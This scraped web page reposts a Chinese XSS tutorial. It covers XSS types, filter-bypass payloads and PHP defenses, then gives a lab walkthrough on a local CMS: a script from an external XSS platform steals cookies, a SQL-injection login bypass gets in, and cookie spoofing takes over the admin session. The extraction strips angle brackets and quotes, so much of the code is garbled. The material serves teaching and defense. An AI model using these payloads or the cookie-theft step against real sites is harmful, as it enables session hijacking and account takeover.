广州市城乡建设局网站如何免费自己建网站

news/2025/9/23 1:30:03/文章来源:
广州市城乡建设局网站,如何免费自己建网站,wordpress templateredirect,网站专业好找工作吗文章目录 1、跨站 脚本攻击1.1、漏洞描述1.2、漏洞原理1.3、漏洞危害1.4、漏洞验证1.5、漏洞分类1.5.1、反射性XSS1.5.2、存储型XSS1.5.3、DOM型XSS 2、XSS攻防2.1、XSS构造2.1.1、利用2.1.2、JavaScript伪协议2.1.3、时间响应 2.2、XSS变形方式2.2.1、大小写转换2.2.2… 文章目录 1、跨站 脚本攻击1.1、漏洞描述1.2、漏洞原理1.3、漏洞危害1.4、漏洞验证1.5、漏洞分类1.5.1、反射性XSS1.5.2、存储型XSS1.5.3、DOM型XSS 2、XSS攻防2.1、XSS构造2.1.1、利用2.1.2、JavaScript伪协议2.1.3、时间响应 2.2、XSS变形方式2.2.1、大小写转换2.2.2、关键字双写2.2.3、对伪协议进行转码2.2.4、插入其他编码2.2.5、引号的使用2.2.6、/ 代替空格2.2.7、拆分跨站 2.3、XSS的防御2.3.1、输入过滤2.3.2、输出编码2.3.3、黑白名单策略2.3.4、防御DOM型XSS2.3.5、测试代码 3、XSS攻防案例3.1、固定会话3.2、XSS 平台3.3、窃取3.4、欺骗3.5、影响3.6、防御 1、跨站 脚本攻击 1.1、漏洞描述 跨站点脚本Cross Site Scripting XSS是指客户端代码注入攻击攻击者可以在合法网站或Web 应用程序中执行恶意脚本。当web 应用程序在其生成的输出中使用未经验证或未编码的用户输入时就会发生XSS。 跨站脚本攻击XSS (Cross Site Scripting)。由于与CSS (Cascading Style Sheet) 重名所以就更名为XSS。 XSS 作为OWASP TOP 102017内容之一主要使用JavaSript 来完成恶意攻击的行为JS 可以非常灵活的操纵HTML、CSS、浏览器这就使得XSS 攻击“想象”空间非常大。也就是说JS 强大的灵活性和功能为XSS 攻击提供了非常广阔的攻击面。 1.2、漏洞原理 XSS 通过将精心构造的代码JavaScript注入到网页中并由浏览器解释运行这段JS 代码以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页XSS 脚本就会被提取出来用户浏览器就会解析执行这段代码也就是说用户被攻击了。整个XSS 攻击过程涉及三个角色 服务器 攻击者 客户端浏览器用户前端 搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方都有可能被注入XSS 代码都存在遭受XSS 的风险。 等待受害者访问被注入恶意代码的页面很被动盲打。 XSS 攻击目标是客户端浏览器用户由于浏览器的类别不同攻击效果不同甚至于同一款浏览器攻击效果都不一样。 1.3、漏洞危害 XSS 是利用JS 代码实现攻击有很多危害盗取各种用户账号窃取用户Cookie 资料冒充用户身份进入网站劫持用户会话执行任意操作刷流量执行弹窗广告传播蠕虫病毒。。。。。。 1.4、漏洞验证 可以使用一段简单的代码验证和检测漏洞的存在这样的代码叫做POCProof of Concept。验证XSS 漏洞存在的POC 如下 scriptalert(/xss/);/script scriptconfirm(/xss/);/script scriptconfirm(xss);/script scriptprompt(xss);/script1.5、漏洞分类 反射性存储型DOM型 1.5.1、反射性XSS 非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中例如搜索框的反射型XSS。 注意到反射型XSS 代码出现在keywords 参数中。 http://127.0.0.1/cms/search.php? keywords%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3Ebutton%E6%90%9C%E7%B4%A2容易被发现利用难度高很多漏洞提交平台不收反射型XSS 漏洞。 1.5.2、存储型XSS 持久性跨站脚本。持久性体现在XSS 代码不是在某个参数变量中而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方可以在留言板位置进行留言将恶意代码写进数据库中。 危害面比较广漏洞提交平台会接收此类漏洞。 1.5.3、DOM型XSS DOM 型XSS 是一种XSS 攻击其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行并不会将payload 上传到服务器这也使得DOM 型XSS 比较难以检测。 注意 修改DOM 树执行采用# 号的方式参数不会提交到服务器。 2、XSS攻防 2.1、XSS构造 2.1.1、利用 img src https://ss1.bdstatic.com/70cFvXSh_Q1YnxGkpoWK1HF6hhy/it/u2866847033,2297252904fm26gp0.jpg scriptalert(/xss/)/script2.1.2、JavaScript伪协议 可以通过URL 载入资源的标签 伪协议不同于因特网上所真实存在的协议如http://https://ftp:// 而是为关联应用程序而使用的.如:tencent://(关联QQ)data:(用base64编码来在浏览器端输出二进制文件)还有就是javascript: 我们可以在浏览地址栏里输入javascript:alert(XSS);点转到后会发现实际上是把javascript:后面的代码当JavaScript来执行并将结果值返回给当前页面。 a href javascript:alert(/xss/) click me!/a img src javascript:alert(/xss/) !-- IE6 --XSS 攻击的是浏览器受前端影响比较大。浏览器的类型版本等因素都会影响XSS 的效果。 2.1.3、时间响应 Cross-site scripting (XSS) cheat sheet 事件类型说明Keyboard 事件键盘事件Mouse 事件鼠标事件Media 事件由多媒体触发的事件Form 事件HTML 表单内触发的事件window 事件对window 对象触发的事件 img src # onmouseover alert(/dont touch me!/)input type text onkeydown alert(/xss/)input type text onkeyup alert(/xss/)svg onloadalert(/xss/)input onfocusalert(/xss/) autofocus2.2、XSS变形方式 cms 网站搜索框存在反射性XSS 漏洞POC 如下 scriptalert(/xss/)/script尝试在代码角度对XSS 漏洞进行修复修改 /cms/search.php 文件对$_GET[keywords]进行过滤代码如下 $keyword $_GET[keywords]; // $keyword str_replace(script, , $keyword); // $keyword preg_replace(/script/i, , $keyword); $keyword preg_replace(/(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $keyword); // $keyword str_replace(on, o_n, $keyword); $keyword preg_replace(/on/i, o_n, $keyword); // $keyword str_replace(, , $keyword); // $keyword str_replace(, , $keyword); $keyword htmlspecialchars($keyword); echo $keyword;2.2.1、大小写转换 浏览器对HTML 标签大小写不敏感。 ScRiPtalert(/xss/)/script img ONerror alert(/xss/) src #2.2.2、关键字双写 绕过一次过滤 scrscriptiptalert(/xss/)/script2.2.3、对伪协议进行转码 HTML 编码 字母ASCII码十进制编码十六进制编码a97#97;#x61;c99#99;#x63;e101#101;#x65; a href #x6a;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;:alert(/xss/) demo/a其他编码: utf-8 编码utf-7 编码 2.2.4、插入其他编码 可以将以下字符插入到任意位置 字符编码Tab#9;换行#10;回车#13; a href j#9;avasc#10;r#13;ipt:alert(/xss/)click me!/a将以下字符插入到头部位置 字符编码SOH#01;STX#02; a href #01;#02;j#9;avasc#10;r#13;ipt:alert(/xss/)click me!/a2.2.5、引号的使用 HTML 语言对引号的使用要求不严格 没有引号单引号双引号 Img sRc# OnErRoRalert(/xss/); Img sRc # OnErRoRalert(/xss/) Img sRc # OnErRoRalert(/xss/)2.2.6、/ 代替空格 Img/sRc#/OnErRoRalert(/xss/)2.2.7、拆分跨站 将一段JS 代码拆成多段。 scriptzalert/script scriptz(/xss/)/script scripteval(z)/scriptscripteval(alert(/xss/))/script 2.3、XSS的防御 XSS 过滤器的作用是过滤用户浏览器客户端提交的有害信息从而达到防范XSS 攻击的效果 2.3.1、输入过滤 永远不要相信用户的输入。 1、输入验证对用户提交的信息进行“有效性”验证。 仅接受指定长度 仅包含合法字符 仅接收指定范围 特殊的格式例如email、IP 地址。 2、数据清洗过滤或净化掉有害的输入 ?php // echo $_GET[keywords];$keywords $_GET[keywords]; $keywords strtolower($keywords); $keywords str_replace(on, , $keywords); $keywords str_replace(script, , $keywords); $keywords str_replace(, , $keywords); $keywords str_replace(, , $keywords); echo $keywords; ?2.3.2、输出编码 HTML 编码是HTML 实体编码。 $keywords htmlspecialchars( $_GET[ keywords ] );PHP htmlspecialchars() 函数 2.3.3、黑白名单策略 不管是采用输入过滤还是输出编码都是针对用户提交的信息进行黑、白名单式的过滤 黑名单非允许的内容白名单允许的内容 2.3.4、防御DOM型XSS 避免客户端文档重写重定向或其他敏感操作 2.3.5、测试代码 sCrScRiPtIPTOonN\/(hrHRefEF)/sCr/ScRiPtIPT3、XSS攻防案例 3.1、固定会话 用户会话令牌利用Cookie 来实现的Cookie 是存储在浏览器端的一小段文本相当于身份证会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息。 由于XXS 触发需要浏览器客户端用户受害者参与攻击者不清楚何时何地会触发漏洞这个过程一般被成为XSS 盲打。 3.2、XSS 平台 https://xss.pt/ 3.3、窃取 从XSS平台里复制一段代码 sCRiPt sRC//0x.ax/Z2mua2/sCrIpT利用万能用户名的方式进入后台管理员界面密码随意输入 li or 11#可以看到留言的消息 然后去XSS平台上看看有没有窃取的Cookie信息 cookie : usernameli%27 or 1%3D1%23; userid13.4、欺骗 来到登录界面F12打开控制台 document.cookieuserid1 document.cookieusernameli%27 or 1%3D1%23 访问cms的admin目录 http://192.168.80.139/cms/admin/ 成功利用Cookie欺骗进行登录 3.5、影响 黑客可以利用Cookie 信息也就是身份凭据登录后台即使管理员注销登录会话依然有效即使管理员修改了密码会话依然有效。 3.6、防御 根据实际情况采用“单点登录”采用Session 机制设置token 值对Cookie 数据设置HttpOnly 属性

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/911001.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网站地图什么格式h5微信小程序

文章目录 引言inpaint函数的使用方法鼠标事件回调函数cv2.setMouseCallback介绍去水印步骤实现代码 引言 本文主要基于cv2.inpaint函数实现图片的水印去除。 inpaint函数基于图像修复算法,通过对缺陷区域周围像素的分析和插值,生成合适的像素值来填充缺…

餐饮网站开发毕业设计模板福州网站设计招聘

gpio-keys是基于input子系统实现的一个通用的GPIO按键驱动,基于platform来实现,位于drivers/input/keyboard/gpio_keys.c,这个文件是硬件无关的,而硬件有关的需要我们自己来注册.进入这个gpio_keys.c这个函数,第一步就是初始化.static int __init gpio_keys_init(void){return …

海淀网站建设哪家公司好上海网站建设企业名录

3.3.2 集合基础 学习目标 这一节,我们从 基础知识、简单实践、小结 三个方面来学习。 基础知识 简介 所谓的集合,主要是针对多个条件表达式组合后的结果,尤其是针对于逻辑场景的组合。初中数学的相关逻辑示意图:表现样式 两个…

历史文化类网站源码免费看电视剧的网站在线观看

7寸LCD屏幕的屏幕排线中采用的供电电压是5V供电,但是在屏幕工作时需要VCOM-5.3V、AVDD-12.5V、VGL--7V、VGH-17V几组电压,所以要对初始的5V电源进行DC-DC电压变换,在这里我们用到了双电荷泵电路。 再此电路中VCC_5V为电源输入,E…

桐庐做网站免费企业邮箱账号密码

有网友私信小编说,小编的文章很好,讲解的也很详细,但是有些知识点很深奥,对初学者不是很友好,回想小编的文章虽然几乎每条代码都有介绍,但是很多函数没有太详细,小编后期会重启《每天一分钟&…

后台做网站的题html5购物网站

总结这两天研究的蓝牙串口。人话版资料不多,主要靠翻别人的仓库和文档。 单片机部分,与蓝牙串口通信是通过串口。比我想的要简单,小程序部分,有非常多的服务和特征,而且人话版资料不多。 如果本文有什么问题&#xf…

泉州网站设计公司织梦网站访问量统计代码

一个完整的嵌入式linux系统包含4部分内容:Bootloader、Parameters、Kernel、Root File System。3、4、5、6部分详细介绍了这4部分的内容,这是Linux底层软件开发人员应该掌握的。通过学习这些章节,您可以详细了解到如何在一个裸板上裁减、移植…

江苏中淮建设集团有限公司网站网站建设安全性原则

caozha-admin 后台管理框架 1.8.3 caozha-admin是一个通用的PHP网站后台管理框架,基于开源的ThinkPHP开发,特点:易上手,零门槛,界面清爽极简,极便于二次开发。 基础功能 1、系统设置 2、管理员管理 3、…

成都网站建设_创新互联可以做申论的网站

文章目录 一.JWT 介绍二.JWT认证与session认证的区别2.1 基于session认证流程图2.2 基于jwt认证流程图 三. JWT 的构成3.1 header : 头部3.2 payload : 负载3.2.1 标准中注册的声明 (建议但不强制使用)3.2.2 公共的声明3.2.3 私有的声明3.2.4 定义一个payload 3.3 signatrue : …

iis 网站压缩外贸网站 费用

文章目录 下载数据集NSL-KDD数据集介绍输入的41个特征输出的含义数据处理&&训练技巧建神经网络,输入41个特征,输出是那种类别的攻击模型训练模型推理写gradio前端界面,用户自己输入41个特征,后端用模型推理计算后显示出是…

网络建设文章网站wordpress汉字验证码

文章目录 SQL概述SQL背景知识SQL分类 SQL语言的规则与规范SQL语言的规则SQL大小写规范注释命令规则(暂时了解)数据导入指令 基本的select语句select ...select ... from列的别名去除重复行空值参与运算着重号查询常数 显示表结构讲课代码课后练习 SQL概述…

网站开发南京招聘中英文对照网站怎么做

在上一篇中已经分享了用 Python 创建词云了。接下来继续总结其他创建词云的方法。&带道术用量确示常构端析以要效开的用,近不gt;> Create Word Cloud via JavaScrip要圈器是天的年编功小还久概据含直这请框结业未商屏页屏随会维气大机域页效实一应控高标tJav…

seo百家外链网站怎么做网页 网站制作

工具: cloc 下载地址: Releases AlDanial/cloc GitHub 使用方法:

百度小程序如何做网站网站建设费专票会计分录

数据流图(DFD)提供了系统内信息流(即数据流)的可视化表示。通过绘制数据流程图,您可以了解由参与系统流程的人员提供并交付给他们的信息、完成流程所需的信息以及需要存储和访问的信息。本文以一个订餐系统为例,对数据流图(DFD)进行了描述和说明。食品订…

怎样创建网站赚钱网络服务器租赁费高吗

转载自 web.xml 组件加载顺序 在配置项目组件的过程中, 了解Tomcat加载组件顺序很有必要。 例如某些框架如Quartz的集群功能需要数据库的支持, 数据库的加载肯定要在框架组件加载之前。 经过查阅和Debug发现, web.xml组件加载顺序为&#…

建站科技公司wordpress搜索标题

今天正式开通51CTO技术博客,今后会把自己工作和学习过程中的点点滴滴记录在此博客中!转载于:https://blog.51cto.com/dashuai/1160235

重庆梁平网站建设哪家便宜成都网络营销品牌代理机构

4.10节Device Self-test Requirements详细描述了数据中心NVMe SSD自检的要求,这一部分规范了设备自身进行各种健康检查和故障检测的过程。自检对于确保SSD的正常运行和提前预防潜在故障至关重要。 在进行设备自检时,设备应当确保不对用户数据造成破坏&am…

快站淘客网站博客自媒体轻松

作者推荐 【贪心算法】【中位贪心】.执行操作使频率分数最大 涉及知识点 单调栈 动态规划 map 题目 给定一个整数数组 A,你可以从某一起始索引出发,跳跃一定次数。在你跳跃的过程中,第 1、3、5… 次跳跃称为奇数跳跃,而第 2、…

专业网站建设提供商北京商场购物中心排名

解读HTTP包:[摘要]详细介绍HTTP包的格式、协议内容及相关的处理方法,内容分3节:1、超文本传输协议及HTTP包;2、Socket类与ServerSocket类;3、读取HTTP包。 一、超文本传输协议及HTTP包 HTTP协议用于在Internet上发送和接收消息。HTTP协议是一…

如何做网站超链接网站建设方案如何写

文章说明: Linux内核版本:5.0 架构:ARM64 参考资料及图片来源:《奔跑吧Linux内核》 Linux 5.0内核源码注释仓库地址: zhangzihengya/LinuxSourceCode_v5.0_study (github.com) 1. 引言 伙伴系统以页面为单位来管…